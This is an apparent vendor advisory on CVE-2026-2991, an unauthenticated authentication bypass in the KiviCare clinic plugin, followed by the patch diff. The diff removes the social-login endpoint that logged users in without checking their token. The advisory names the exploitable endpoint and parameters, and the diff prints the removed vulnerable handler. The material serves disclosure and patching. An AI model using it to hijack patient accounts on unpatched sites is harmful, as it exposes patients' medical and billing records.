Atomic Edge analysis of CVE-2026-2991:
The vulnerability resides in the patientSocialLogin() function within the AuthController class. The root cause is the complete absence of validation for the social provider access token parameter. The function accepts an email address and an arbitrary access token value, then proceeds to authenticate the corresponding user without verifying the token’s authenticity. The function first attempts to locate a user by email or contact number. If found, it updates user metadata and sets authentication cookies via wp_set_auth_cookie($user_id) before performing any role verification. The role check occurs after authentication, meaning authentication cookies for any user (including administrators) are set in the HTTP response headers, though a 403 response is returned for non-patient roles. The exploitation method targets the REST API endpoint /wp-json/kivicare/api/v1/patient/social-login with a POST request containing login_type, email, and password (access token) parameters. An attacker can supply any registered patient email and any arbitrary string as the password parameter to gain full patient authentication. The patch completely removes the vulnerable endpoint by deleting the route registration at lines 282-288 in AuthController.php and the entire patientSocialLogin() function (lines 1765-1861). This eliminates the attack vector entirely. Exploitation results in unauthorized access to patient accounts, exposing protected health information (PHI), medical records, appointments, prescriptions, and billing data, constituting a severe PII/PHI breach.

CVE-2026-2991: KiviCare – Clinic & Patient Management System (EHR) <= 4.1.2 – Unauthenticated Authentication Bypass via Social Login Token (kivicare-clinic-management-system)
CVE-2026-2991
4.1.2
4.1.3
Analysis Overview
Differential between vulnerable and patched code
--- a/kivicare-clinic-management-system/app/controllers/KCRestAPI.php
+++ b/kivicare-clinic-management-system/app/controllers/KCRestAPI.php
@@ -351,6 +351,10 @@
}
}
+
+ // Switch to user's locale for translations
+ switch_to_locale(get_user_locale());
+
/**
* Action after all controllers are initialized
*
--- a/kivicare-clinic-management-system/app/controllers/api/AppointmentsController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/AppointmentsController.php
@@ -1995,7 +1995,7 @@
],
];
- return $this->response($data, 'Appointments retrieved successfully');
+ return $this->response($data, __('Appointments retrieved successfully', 'kivicare-clinic-management-system'));
}
/**
@@ -2415,7 +2415,7 @@
$appointmentsData = apply_filters('kc_appointment_details_data', $appointmentsData, $appointment);
- return $this->response($appointmentsData, __('Appointments retrieved successfully.', 'kivicare-clinic-management-system'));
+ return $this->response($appointmentsData, __('Appointments retrieved successfully', 'kivicare-clinic-management-system'));
} catch (Exception $e) {
return $this->response(
['error' => $e->getMessage()],
@@ -3179,6 +3179,7 @@
KCAppointmentServiceMapping::query()->where('appointment_id', $id)->delete();
KCPatientEncounter::query()->where('appointment_id', $id)->delete();
+
if ($bill) {
KCBillItem::query()->where('bill_id', $bill->id)->delete();
}
@@ -3300,6 +3301,11 @@
'status' => $status
]);
+ // Trigger specific hook for cancellation
+ if ($status == 0) {
+ do_action('kc_appointment_cancelled', $id);
+ }
+
do_action('kc_appointment_status_update', $id, $status, $appointment);
return $this->response(
@@ -3472,8 +3478,8 @@
if ($request->get_method() === 'POST') {
return $this->response([
- 'status' => 'success',
- 'message' => __('Payment completed successfully', 'kivicare-clinic-management-system'),
+ 'status' => 'failed',
+ 'message' => $e->getMessage(),
'data' => [
'appointment_id' => $appointmentId,
'payment_id' => $existingPayment->paymentId ?? null,
@@ -4124,6 +4130,7 @@
KCAppointmentServiceMapping::query()->where('appointment_id', $id)->delete();
KCPatientEncounter::query()->where('appointment_id', $id)->delete();
+
KCBill::query()->where('appointment_id', $id)->delete();
if ($bill) {
KCBillItem::query()->where('bill_id', $bill->id)->delete();
--- a/kivicare-clinic-management-system/app/controllers/api/AuthController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/AuthController.php
@@ -279,14 +279,6 @@
'permission_callback' => 'is_user_logged_in',
'args' => []
]);
-
- // Patient social login endpoint
- $this->registerRoute('/' . $this->route . '/patient/social-login', [
- 'methods' => WP_REST_Server::CREATABLE,
- 'callback' => [$this, 'patientSocialLogin'],
- 'permission_callback' => '__return_true',
- 'args' => $this->getSocialLoginEndpointArgs()
- ]);
}
private function getLoginEndpointArgs()
@@ -476,94 +468,6 @@
}
/**
- * Get arguments for the social login endpoint
- *
- * @return array
- */
- private function getSocialLoginEndpointArgs()
- {
- return [
- 'login_type' => [
- 'description' => 'Social login provider type (google, apple)',
- 'type' => 'string',
- 'required' => true,
- 'validate_callback' => function ($param) {
- if (empty($param)) {
- return new WP_Error('invalid_login_type', __('Login type is required', 'kivicare-clinic-management-system'));
- }
- $allowed_types = ['google', 'apple'];
- if (!in_array(strtolower($param), $allowed_types)) {
- /* translators: %s: List of allowed login types */
- return new WP_Error('invalid_login_type', sprintf(__('Invalid login type. Allowed types: %s', 'kivicare-clinic-management-system'), implode(', ', $allowed_types)));
- }
- return true;
- },
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'email' => [
- 'description' => 'Email address',
- 'type' => 'string',
- 'required' => false,
- 'validate_callback' => function ($param, $request) {
- // Email is optional if contact_number is provided
- $contact_number = $request->get_param('contact_number');
- if (empty($param) && empty($contact_number)) {
- return new WP_Error('invalid_email', __('Email or contact number is required', 'kivicare-clinic-management-system'));
- }
- if (!empty($param) && !is_email($param)) {
- return new WP_Error('invalid_email', __('Please enter a valid email address', 'kivicare-clinic-management-system'));
- }
- return true;
- },
- 'sanitize_callback' => 'sanitize_email',
- ],
- 'contact_number' => [
- 'description' => 'Contact number',
- 'type' => 'string',
- 'required' => false,
- 'validate_callback' => function ($param, $request) {
- // Contact number is optional if email is provided
- $email = $request->get_param('email');
- if (empty($param) && empty($email)) {
- return new WP_Error('invalid_contact_number', __('Email or contact number is required', 'kivicare-clinic-management-system'));
- }
- return true;
- },
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'password' => [
- 'description' => 'Access token from social provider (used as password)',
- 'type' => 'string',
- 'required' => true,
- 'validate_callback' => function ($param) {
- if (empty($param)) {
- return new WP_Error('invalid_password', __('Password/access token is required', 'kivicare-clinic-management-system'));
- }
- return true;
- },
- ],
- 'first_name' => [
- 'description' => 'First name',
- 'type' => 'string',
- 'required' => false,
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'last_name' => [
- 'description' => 'Last name',
- 'type' => 'string',
- 'required' => false,
- 'sanitize_callback' => 'sanitize_text_field',
- ],
- 'username' => [
- 'description' => 'Username (optional, will be generated from email if not provided)',
- 'type' => 'string',
- 'required' => false,
- 'sanitize_callback' => 'sanitize_user',
- ]
- ];
- }
-
- /**
* Get arguments for the forgot password endpoint
*
* @return array
@@ -906,7 +810,7 @@
/**
* Get login redirect URL based on user role
*/
- private function getLoginRedirectUrl($role): string
+ protected function getLoginRedirectUrl($role): string
{
$login_redirects = KCOption::get('login_redirect', []);
@@ -950,7 +854,7 @@
* @param array $user_roles
* @return array
*/
- private function getUserClinicData($user_id, $user_roles)
+ protected function getUserClinicData($user_id, $user_roles)
{
$clinics = [];
@@ -1830,7 +1734,7 @@
/**
* Get profile image URL for a user based on their role
*/
- private function getUserProfileImageUrl(int $userId, string $userRole = ''): string
+ protected function getUserProfileImageUrl(int $userId, string $userRole = ''): string
{
$profileImageMetaKey = '';
if (empty($userRole)) {
@@ -1861,261 +1765,4 @@
return '';
}
- /**
- * Patient social login endpoint handler
- *
- * @param WP_REST_Request $request
- * @return WP_REST_Response
- */
- public function patientSocialLogin(WP_REST_Request $request): WP_REST_Response
- {
- $params = $request->get_params();
- $login_type = strtolower($params['login_type']);
- $email = !empty($params['email']) ? sanitize_email($params['email']) : '';
- $contact_number = !empty($params['contact_number']) ? sanitize_text_field($params['contact_number']) : '';
- $access_token = !empty($params['password']) ? $params['password'] : ''; // Access token from social provider
- $first_name = !empty($params['first_name']) ? sanitize_text_field($params['first_name']) : '';
- $last_name = !empty($params['last_name']) ? sanitize_text_field($params['last_name']) : '';
- $username = !empty($params['username']) ? sanitize_user($params['username']) : '';
- $profile_image_url = !empty($params['profile_image_url']) ? esc_url_raw($params['profile_image_url']) : '';
-
- // Validate that at least email or contact_number is provided
- if (empty($email) && empty($contact_number)) {
- return $this->response(
- null,
- __('Email or contact number is required', 'kivicare-clinic-management-system'),
- false,
- 400
- );
- }
-
- // Find existing user by email or contact number
- $user = null;
- $user_id = null;
-
- if (!empty($email)) {
- $user = get_user_by('email', $email);
- }
-
- // If not found by email, try contact number
- if (!$user && !empty($contact_number)) {
- $users = get_users([
- 'meta_key' => 'mobile_number',
- 'meta_value' => $contact_number,
- 'meta_compare' => '=',
- 'number' => 1
- ]);
- if (!empty($users)) {
- $user = $users[0];
- }
- }
-
- $is_new_user = !$user;
-
- try {
- if ($is_new_user) {
- // Create new patient user
- $patient = new KCPatient();
-
- // Generate username if not provided
- if (empty($username)) {
- if (!empty($email)) {
- $username = sanitize_user(substr($email, 0, strpos($email, '@')));
- } else {
- $username = 'patient_' . time() . '_' . wp_generate_password(6, false);
- }
-
- // Ensure username is unique
- $original_username = $username;
- $counter = 1;
- while (username_exists($username)) {
- $username = $original_username . '_' . $counter;
- $counter++;
- }
- } else {
- // Check if username already exists
- if (username_exists($username)) {
- return $this->response(
- null,
- __('Username already exists', 'kivicare-clinic-management-system'),
- false,
- 400
- );
- }
- }
-
- // Generate unique secure password for social login user
- $generated_password = wp_generate_password(16, true, true);
-
- // Set patient properties
- $patient->username = $username;
- $patient->email = !empty($email) ? $email : $username . '@social.local';
- $patient->password = $generated_password;
- $patient->firstName = $first_name;
- $patient->lastName = $last_name;
- $patient->displayName = trim($first_name . ' ' . $last_name) ?: $username;
- $patient->contactNumber = $contact_number;
- $patient->status = 0; // Active by default
-
- // Save patient
- $user_id = $patient->save();
-
- if (is_wp_error($user_id)) {
- return $this->response(
- null,
- $user_id->get_error_message(),
- false,
- 400
- );
- }
-
- // Get default clinic ID
- $clinic_id = KCClinic::kcGetDefaultClinicId();
-
- // Create patient-clinic mapping
- if ($clinic_id) {
- $mapping = new KCPatientClinicMapping();
- $mapping->patientId = $user_id;
- $mapping->clinicId = $clinic_id;
- $mapping->createdAt = current_time('mysql');
- $mapping->save();
- }
-
- // Store login type and access token in user meta
- update_user_meta($user_id, 'login_type', $login_type);
- if (!empty($access_token)) {
- update_user_meta($user_id, 'social_access_token', $access_token);
- update_user_meta($user_id, 'social_access_token_updated', current_time('mysql'));
- }
-
- // Download and save profile image from social provider if provided
- if (!empty($profile_image_url)) {
- $profile_image_id = $this->downloadImageAndCreateAttachment($profile_image_url, $user_id);
- if ($profile_image_id) {
- update_user_meta($user_id, 'patient_profile_image', $profile_image_id);
- }
- }
-
- $message = __('User account created successfully via social login', 'kivicare-clinic-management-system');
- } else {
- // Existing user - update profile info (don't change password)
- $user_id = $user->ID;
- // Generate new password if user doesn't have one set
- $wp_user = get_userdata($user_id);
- if (empty($wp_user->user_pass) || $wp_user->user_pass === '*') {
- // User has no password set, generate one
- $generated_password = wp_generate_password(16, true, true);
- wp_set_password($generated_password, $user_id);
- }
-
- // Update user meta
- if (!empty($first_name)) {
- update_user_meta($user_id, 'first_name', $first_name);
- }
- if (!empty($last_name)) {
- update_user_meta($user_id, 'last_name', $last_name);
- }
- if (!empty($contact_number)) {
- update_user_meta($user_id, 'mobile_number', $contact_number);
- }
-
- // Update display name
- $display_name = trim($first_name . ' ' . $last_name);
- if (!empty($display_name)) {
- wp_update_user([
- 'ID' => $user_id,
- 'display_name' => $display_name
- ]);
- }
-
- // Store login type and access token in user meta
- update_user_meta($user_id, 'login_type', $login_type);
- if (!empty($access_token)) {
- update_user_meta($user_id, 'social_access_token', $access_token);
- update_user_meta($user_id, 'social_access_token_updated', current_time('mysql'));
- }
-
- // Update profile image if provided
- if (!empty($profile_image_url)) {
- $existing_profile_image = get_user_meta($user_id, 'patient_profile_image', true);
- // Update profile image if not set, or always update from social provider
- if (empty($existing_profile_image)) {
- $profile_image_id = $this->downloadImageAndCreateAttachment($profile_image_url, $user_id);
- if ($profile_image_id) {
- update_user_meta($user_id, 'patient_profile_image', $profile_image_id);
- }
- }
- }
-
- $message = __('User logged in successfully via social login', 'kivicare-clinic-management-system');
- }
-
- // Log in the user
- wp_clear_auth_cookie();
- header_remove('Set-Cookie');
- wp_set_current_user($user_id);
- add_action('set_logged_in_cookie', function ($logged_in_cookie) {
- $_COOKIE[LOGGED_IN_COOKIE] = $logged_in_cookie;
- });
- wp_set_auth_cookie($user_id);
-
- // Get user data
- $wp_user = get_userdata($user_id);
-
- // Check if user has patient role
- if (!in_array($this->kcbase->getPatientRole(), $wp_user->roles)) {
- return $this->response(
- null,
- __('This account is not a patient account', 'kivicare-clinic-management-system'),
- false,
- 403
- );
- }
-
- // Get redirect URL
- $redirect_url = $this->getLoginRedirectUrl($this->kcbase->getPatientRole());
-
- // Get clinic data
- $clinic_data = $this->getUserClinicData($user_id, $wp_user->roles);
-
- // Build response data (same format as login endpoint)
- $userData = [
- 'user_id' => $user_id,
- 'username' => $wp_user->user_login,
- 'display_name' => $wp_user->display_name,
- 'user_email' => $wp_user->user_email,
- 'first_name' => get_user_meta($user_id, 'first_name', true),
- 'last_name' => get_user_meta($user_id, 'last_name', true),
- 'mobile_number' => get_user_meta($user_id, 'mobile_number', true),
- 'roles' => $wp_user->roles,
- 'profileImageUrl' => $this->getUserProfileImageUrl($user_id, $this->kcbase->getPatientRole()),
- 'nonce' => wp_create_nonce('wp_rest'),
- 'redirect_url' => $redirect_url,
- 'clinics' => $clinic_data
- ];
-
- // Add WooCommerce data if available
- if (function_exists('kc_woo_generate_client_auth')) {
- $wc_data = kc_woo_generate_client_auth('kivicare_app', $user_id, 'read_write');
- $userData = array_merge($userData, $wc_data);
- }
-
- return $this->response(
- $userData,
- $message,
- true,
- 200
- );
-
- } catch (Exception $e) {
- KCErrorLogger::instance()->error('Social login error: ' . $e->getMessage());
- return $this->response(
- null,
- __('Social login failed. Please try again.', 'kivicare-clinic-management-system'),
- false,
- 500
- );
- }
- }
-
}
No newline at end of file
--- a/kivicare-clinic-management-system/app/controllers/api/ClinicController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ClinicController.php
@@ -728,7 +728,11 @@
$query->where('c.id', '=', $params['id']);
}
if (!empty($params['clinicName'])) {
- $query->where('c.name', 'LIKE', '%' . $params['clinicName'] . '%');
+ if (is_numeric($params['clinicName'])) {
+ $query->where('c.id', '=', $params['clinicName']);
+ } else {
+ $query->where('c.name', 'LIKE', '%' . $params['clinicName'] . '%');
+ }
}
if (!empty($params['clinicAddress'])) {
$query->where(function ($q) use ($params) {
--- a/kivicare-clinic-management-system/app/controllers/api/ClinicScheduleController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ClinicScheduleController.php
@@ -349,6 +349,8 @@
$leaves = $leaves->get();
$all_leaves = [];
+ $doctor_holidays = [];
+ $clinic_holidays = [];
foreach ($leaves as $leave) {
// Exclude time-specific holidays from the calendar disabled list
// because they only block partial hours, not the entire day.
@@ -361,11 +363,21 @@
$selectedDates = $leave->selectedDates ? json_decode($leave->selectedDates, true) : [];
if (is_array($selectedDates)) {
$all_leaves = array_merge($all_leaves, $selectedDates);
+ if (($leave->moduleType ?? $leave->module_type ?? null) === 'clinic') {
+ $clinic_holidays = array_merge($clinic_holidays, $selectedDates);
+ } else {
+ $doctor_holidays = array_merge($doctor_holidays, $selectedDates);
+ }
}
} else {
// 'single' or 'range'
$dates = $this->kc_generate_date_range($leave->startDate, $leave->endDate);
$all_leaves = array_merge($all_leaves, $dates);
+ if (($leave->moduleType ?? $leave->module_type ?? null) === 'clinic') {
+ $clinic_holidays = array_merge($clinic_holidays, $dates);
+ } else {
+ $doctor_holidays = array_merge($doctor_holidays, $dates);
+ }
}
}
@@ -421,6 +433,8 @@
$all_leaves = array_merge( $all_leaves, $fully_booked_dates );
$unavailable_schedule['holidays'] = array_unique($all_leaves);
+ $unavailable_schedule['clinic_holidays'] = array_values(array_unique($clinic_holidays));
+ $unavailable_schedule['doctor_holidays'] = array_values(array_unique($doctor_holidays));
return $this->response($unavailable_schedule, __('Clinic schedules retrieved', 'kivicare-clinic-management-system'));
}
--- a/kivicare-clinic-management-system/app/controllers/api/ConfigController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ConfigController.php
@@ -330,6 +330,7 @@
'restrict_appointment',
'appointment_description_config_data',
'request_helper_status',
+ 'hide_language_switcher_status',
'hide_clinical_detail_in_patient'
]);
@@ -353,6 +354,7 @@
$response['module_config'] = $module_config_object;
$response['countryCode'] = $options['country_code'] ?? 'us';
$response['hideUtilityLinks'] = $options['request_helper_status'] ?? 'off';
+ $response['hideLanguageSwitcher'] = $options['hide_language_switcher_status'] ?? 'off';
$response['showOtherGender'] = $options['user_registration_form_setting'] ?? 'off';
$response['site_logo'] = !empty($options['site_logo'])
? wp_get_attachment_url($options['site_logo'])
--- a/kivicare-clinic-management-system/app/controllers/api/PatientController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/PatientController.php
@@ -862,6 +862,11 @@
$query->where("c.id", '=', $params['clinic']);
}
+ if (!empty($params['doctor_id'])) {
+ $query->leftJoin(KCAppointment::class, 'p.ID', '=', 'app_filter.patient_id', 'app_filter')
+ ->where('app_filter.doctor_id', '=', $params['doctor_id']);
+ }
+
if (!empty($patientUniqueId)) {
$query->where("puid.meta_value", 'LIKE', '%' . $patientUniqueId . '%');
}
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/CustomFields.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/CustomFields.php
@@ -257,8 +257,14 @@
$total = $query->count();
// Pagination
$page = (int) ($request_data['page'] ?? 1);
- $perPage = (int) ($request_data['perPage'] ?? 10);
- $offset = ($page - 1) * $perPage;
+ $per_page_param = $request_data['perPage'] ?? 10;
+ $perPage = (int) $per_page_param;
+ // When "all" is selected, (int)"all" becomes 0 — fetch all records
+ if ($per_page_param === 'all' || $perPage <= 0) {
+ $perPage = $total;
+ $page = 1;
+ }
+ $offset = $perPage > 0 ? ($page - 1) * $perPage : 0;
$query->limit($perPage)->offset($offset);
$customFields = $query->get();
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/General.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/General.php
@@ -151,6 +151,15 @@
return is_string($value);
},
],
+ 'hideLanguageSwitcher' => [
+ 'description' => 'Hide Header Language Switcher',
+ 'type' => 'string',
+ 'required' => false,
+ 'sanitize_callback' => 'kcSanitizeData',
+ 'validate_callback' => function ($value) {
+ return in_array($value, ['on', 'off']);
+ },
+ ],
'loginRedirects' => [
'description' => 'Login Redirect URLs per role',
'type' => 'object',
@@ -360,7 +369,8 @@
'loginRedirects' => 'login_redirect',
'logoutRedirects' => 'logout_redirect',
'allowEncounterEdit' => 'encounter_edit_after_close_status',
- 'enableRecaptcha' => 'google_recaptcha'
+ 'enableRecaptcha' => 'google_recaptcha',
+ 'hideLanguageSwitcher' => 'hide_language_switcher_status'
];
// Get all options in one query
@@ -372,6 +382,7 @@
// Set default values for missing settings
$response['hideUtilityLinks'] = $response['hideUtilityLinks'] ?? 'off';
+ $response['hideLanguageSwitcher'] = $response['hideLanguageSwitcher'] ?? 'off';
$response['countryCode'] = $response['countryCode'] ?? 'us';
$response['countryDialCode'] = $response['countryDialCode'] ?? '+44';
$response['status'] = $response['status'] ?? [
@@ -483,7 +494,7 @@
$errors = [];
foreach ($settings as $key => $value) {
- if ($this->validateSettingKey($key) !== true) {
+ if ($this->validateSettingKey($key) !== true && $key !== 'hideLanguageSwitcher') {
$errors[$key] = __('Invalid setting key', 'kivicare-clinic-management-system');
continue;
}
@@ -519,6 +530,7 @@
{
// Update simple options
$this->updateOption('request_helper_status', strval($settings['hideUtilityLinks'] ?? 'off'), $updated, $errors);
+ $this->updateOption('hide_language_switcher_status', strval($settings['hideLanguageSwitcher'] ?? 'off'), $updated, $errors);
$this->updateOption('country_code', $settings['countryCode'] ?? 'us', $updated, $errors);
$this->updateOption('country_calling_code', $settings['countryDialCode'] ?? '+1', $updated, $errors);
$this->updateOption('user_registration_shortcode_setting', $settings['status'] ?? ['doctor' => 'off', 'receptionist' => 'off', 'patient' => 'on'], $updated, $errors);
@@ -610,7 +622,8 @@
'currencyPrefix',
'enableRecaptcha',
'recaptchaSecretKey',
- 'recaptchaSiteKey'
+ 'recaptchaSiteKey',
+ 'hideLanguageSwitcher'
];
return in_array($key, $validKeys);
}
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/HolidayList.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/HolidayList.php
@@ -119,7 +119,7 @@
global $wpdb;
$request_data = $request->get_params();
- $per_page = !empty($request_data['perPage']) && $request_data['perPage'] !== 'all' ? (int) $request_data['perPage'] : 10;
+ $per_page = !empty($request_data['perPage']) ? ($request_data['perPage'] === 'all' ? -1 : (int) $request_data['perPage']) : 10;
$page = !empty($request_data['page']) ? (int) $request_data['page'] : 1;
$offset = ($page - 1) * $per_page;
@@ -256,6 +256,18 @@
$countQuery = clone $query;
$total_rows = $countQuery->count();
+ $showAll = ($per_page == -1);
+ $per_page = $showAll ? null : (int) $per_page;
+
+ if (!$showAll && $per_page <= 0) {
+ $per_page = 10;
+ }
+
+ if ($showAll) {
+ $per_page = $total_rows > 0 ? $total_rows : 1;
+ $page = 1;
+ }
+
// Sorting Logic
$sort_by = $request_data['orderby'] ?? 'id';
$sort_order = strtoupper($request_data['order'] ?? 'DESC');
@@ -316,6 +328,7 @@
'name' => $holiday->name,
'selection_mode' => $holiday->selectionMode ?? 'range',
'selected_dates' => $holiday->selectedDates ? json_decode($holiday->selectedDates, true) : null,
+ 'selected_dates_formated' => $holiday->selectedDates ? array_map('kcGetFormatedDate', json_decode($holiday->selectedDates, true)) : null,
'time_specific' => (bool) ($holiday->timeSpecific ?? false),
'start_time' => $holiday->startTime ?? null,
'end_time' => $holiday->endTime ?? null,
@@ -618,8 +631,8 @@
'type' => 'string',
'required' => true,
'validate_callback' => function ($param) {
- if (!in_array($param, ['csv', 'xls'])) {
- return new WP_Error('invalid_format', __('Format must be csv, xls', 'kivicare-clinic-management-system'));
+ if (!in_array($param, ['csv', 'xls', 'pdf'])) {
+ return new WP_Error('invalid_format', __('Format must be csv, xls, or pdf', 'kivicare-clinic-management-system'));
}
return true;
},
@@ -813,13 +826,31 @@
// Format Response
$exportData = [];
foreach ($holidays as $holiday) {
+ $mode = $holiday->selectionMode ?? 'range';
+ $dateDisplay = '';
+
+ if ($mode === 'single') {
+ $dateDisplay = $holiday->startDate ? kcGetFormatedDate($holiday->startDate) : '';
+ } elseif ($mode === 'range') {
+ $start = $holiday->startDate ? kcGetFormatedDate($holiday->startDate) : '';
+ $end = $holiday->endDate ? kcGetFormatedDate($holiday->endDate) : '';
+ $dateDisplay = $start && $end ? $start . ' - ' . $end : ($start ?: $end);
+ } elseif ($mode === 'multiple') {
+ $selectedDates = $holiday->selectedDates ? json_decode($holiday->selectedDates, true) : [];
+ if (is_array($selectedDates) && !empty($selectedDates)) {
+ // Sort dates chronologically (Y-m-d format sorts correctly as strings)
+ sort($selectedDates);
+ $formatted = array_map('kcGetFormatedDate', $selectedDates);
+ $dateDisplay = implode(', ', $formatted);
+ }
+ }
+
$exportData[] = [
'id' => $holiday->id,
- 'module_type' => ucfirst($holiday->moduleType),
- 'name' => $holiday->name,
- 'description' => $holiday->description ?? '',
- 'start_date' => $holiday->startDate,
- 'end_date' => $holiday->endDate,
+ 'Schedule Of' => ucfirst($holiday->moduleType),
+ 'Name' => $holiday->name ?? '',
+ 'Selection Mode' => $holiday->selectionMode ?? '',
+ 'Date' => $dateDisplay,
'status' => $holiday->status == 1 ? 'Active' : 'Inactive',
];
}
--- a/kivicare-clinic-management-system/app/controllers/api/SetupWizardController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SetupWizardController.php
@@ -28,7 +28,9 @@
$this->registerRoute('/setup-wizard/clinic', [
'methods' => 'POST',
'callback' => [$this, 'setupClinic'],
- 'permission_callback' => '__return_true', // Adjust permission as needed
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
'args' => $this->getSetupClinicArgs()
]);
@@ -36,7 +38,9 @@
$this->registerRoute('/setup-wizard/step-complete', [
'methods' => 'POST',
'callback' => [$this, 'updateStepCompletion'],
- 'permission_callback' => '__return_true', // Adjust permission as needed
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
'args' => [
'step' => [
'description' => 'Step number',
@@ -168,6 +172,16 @@
*/
public function setupClinic(WP_REST_Request $request): WP_REST_Response
{
+ // 🔐 Security Guard: Prevent re-execution if setup is already completed
+ if (get_option('kc_setup_wizard_completed')) {
+ return $this->response(
+ ['error' => 'Forbidden'],
+ __('Setup wizard has already been completed.', 'kivicare-clinic-management-system'),
+ false,
+ 403
+ );
+ }
+
try {
$params = $request->get_params();
--- a/kivicare-clinic-management-system/app/controllers/api/StaticDataController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/StaticDataController.php
@@ -67,7 +67,7 @@
'description' => __('Type of static data to retrieve', 'kivicare-clinic-management-system'),
'sanitize_callback' => 'sanitize_text_field',
'validate_callback' => function ($param, $request, $key) {
- return in_array($param, ['clinicList', 'staticData']);
+ return in_array($param, ['clinicList', 'doctorList', 'patientList', 'staticData']);
},
],
'staticDataType' => [
@@ -219,6 +219,14 @@
$response = $this->getClinicList($request);
break;
+ case 'doctorList':
+ $response = $this->getDoctorsList($request->get_param('clinic_id') ?? $request->get_param('clinic_ids') ?? 0, $request);
+ break;
+
+ case 'patientList':
+ $response = $this->getPatientsList($request->get_param('clinic_id') ?? $request->get_param('clinic_ids') ?? 0, $request);
+ break;
+
case 'staticData':
if (empty($staticDataType)) {
return rest_ensure_response([
@@ -1236,7 +1244,7 @@
$query->select(['user.*']);
}
-
+
// Convert comma-separated string to array if needed
if (!empty($clinicId)) {
if (is_string($clinicId)) {
@@ -1260,6 +1268,28 @@
$query->where('user.ID', $patientIdsParam);
}
+ // Filter by doctor_id if provided
+ if ($request instanceof WP_REST_Request && $request->get_param('doctor_id')) {
+ $doctorId = $request->get_param('doctor_id');
+
+ // Get patients associated with this doctor (via appointments)
+ $associatedPatientIds = KCAppointment::query()
+ ->where('doctor_id', $doctorId)
+ ->select(['patient_id'])
+ ->groupBy('patient_id')
+ ->get()
+ ->pluck('patientId')
+ ->toArray();
+
+ if (!empty($associatedPatientIds)) {
+ // Filter to include ONLY these patients
+ $query->whereIn('user.ID', $associatedPatientIds);
+ } else {
+ // If the doctor has no appointments/patients, return empty result
+ $query->whereRaw('1 = 0');
+ }
+ }
+
// Handle search
if ($request instanceof WP_REST_Request && !empty($request->get_param('search'))) {
$search = $request->get_param('search');
--- a/kivicare-clinic-management-system/app/emails/listeners/KCPatientNotificationListener.php
+++ b/kivicare-clinic-management-system/app/emails/listeners/KCPatientNotificationListener.php
@@ -141,7 +141,10 @@
'to_override' => get_option('admin_email'), // Override recipient to admin
'custom_data' => [
'user_role' => 'Patient',
- 'registration_date' => $patientData['registration_date'] ?? current_time('mysql'),
+ 'user_email' => $patientData['patient']['email'],
+ 'user_name' => $patientData['patient']['first_name'] . ' ' . $patientData['patient']['last_name'],
+ 'user_contact' => $patientData['patient']['mobile_number'],
+ 'current_date' => $patientData['registration_date'] ?? current_time('mysql'),
'site_url' => get_site_url(),
'login_url' => wp_login_url()
]
--- a/kivicare-clinic-management-system/app/models/KCBill.php
+++ b/kivicare-clinic-management-system/app/models/KCBill.php
@@ -144,24 +144,22 @@
if ( $user_role === $kcbase->getReceptionistRole() ){
$clinic_id = KCReceptionistClinicMapping::getClinicIdByReceptionistId($user_id);
- $query = KCPatientEncounter::table('patient_encounters')
- ->select(['SUM(bills.actual_amount) as total_revenue'])
- ->join(KCBill::class, 'bills.encounter_id','=', 'patient_encounters.id','bills')
- ->where('bills.payment_status', 'paid')
- ->where('bills.clinic_id', $clinic_id);
+ $query = KCBill::table('kc_bills')
+ ->select(['SUM(total_amount) as total_revenue'])
+ ->where('paymentStatus', 'paid')
+ ->where('clinic_id', $clinic_id);
if ($hasDateRange) {
- $query = $query->whereBetween('bills.created_at', [$startDate, $endDate]);
+ $query = $query->whereBetween('created_at', [$startDate, $endDate]);
}
$total = $query->first();
}elseif($user_role === $kcbase->getClinicAdminRole()){
$clinic_id = KCClinic::getClinicIdOfClinicAdmin($user_id);
- $query = KCPatientEncounter::table('patient_encounters')
- ->select(['SUM(bills.actual_amount) as total_revenue'])
- ->join(KCBill::class, 'bills.encounter_id','=', 'patient_encounters.id','bills')
- ->where('bills.payment_status', 'paid')
- ->where('bills.clinic_id', $clinic_id);
+ $query = KCBill::table('kc_bills')
+ ->select(['SUM(total_amount) as total_revenue'])
+ ->where('paymentStatus', 'paid')
+ ->where('clinic_id', $clinic_id);
if ($hasDateRange) {
- $query = $query->whereBetween('bills.created_at', [$startDate, $endDate]);
+ $query = $query->whereBetween('created_at', [$startDate, $endDate]);
}
$total = $query->first();
}else{
@@ -180,7 +178,6 @@
// Format the total with number_format for proper thousand separators
$formatted_total = $prefix . number_format($total->total_revenue) . $postfix;
-
return [
'count' => $total->total_revenue ?? 0,
'formatted_count' => $formatted_total
--- a/kivicare-clinic-management-system/app/shortcodes/KCBookAppointmentButton.php
+++ b/kivicare-clinic-management-system/app/shortcodes/KCBookAppointmentButton.php
@@ -18,7 +18,6 @@
];
protected $assets_dir = KIVI_CARE_DIR . '/dist';
protected $js_entry = 'app/shortcodes/assets/js/KCBookAppointment.jsx';
- protected $css_entry = 'app/shortcodes/assets/scss/KCBookAppointmentButton.scss';
protected $in_footer = true;
protected function render($id, $atts, $content = null)
@@ -79,30 +78,114 @@
}
?>
<div class="kc-appointment-button-wrapper">
- <button class="iq-button iq-button-primary kc-book-appointment-button <?php echo esc_attr(trim($button_class)); ?>" type="button" onclick="document.getElementById('<?php echo esc_attr($modal_id); ?>').style.display='flex'; document.body.classList.add('kc-modal-open');">
+ <button class="iq-button iq-button-primary kc-book-appointment-button <?php echo esc_attr(trim($button_class)); ?>" type="button" id="kc-open-<?php echo esc_attr($modal_id); ?>">
<?php echo esc_html($button_text); ?>
</button>
</div>
